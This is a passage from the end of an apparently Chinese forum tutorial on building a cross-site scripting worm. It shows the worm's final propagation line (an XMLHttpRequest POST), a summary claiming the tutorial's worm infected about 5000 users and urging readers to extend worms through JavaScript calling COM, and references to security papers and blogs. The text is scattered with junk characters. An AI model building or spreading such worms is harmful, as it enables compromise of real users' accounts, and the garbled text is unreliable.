4 k; J2 ]5 ~& L8 X5 N$ u0 IxmlHttpReq.send(post);                 //把传播的信息 POST出去.

}
5 f8 l- @4 ]: {6 n8 Y0 K复制代码-----------------------------------------------------总结-------------------------------------------------------------------
+ S: c4 r# S9 H0 c5 D& N1 ^+ e$ w

( j3 d6 a+ \' y3 E/ q
本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.
' z$ T/ W7 R) R5 l0 B& Z: Y蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
; @# f  `" L( @6 F, S操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.








本文引用文档资料:
) h) [8 P- e* s. J1 Q" O# ^; q
"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)
Other XmlHttpRequest tricks (Amit Klein, January 2003)
"Cross Site Tracing" (Jeremiah Grossman, January 2003)
6 V7 ?1 \" t9 |& a3 n* Shttp://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog
1 \1 v9 j+ ~- z% Z  V空虚浪子心BLOG http://www.inbreak.net
5 o7 T2 \- t  ^Xeye Team http://xeye.us/
  |8 a) f6 R# ^. m. x, L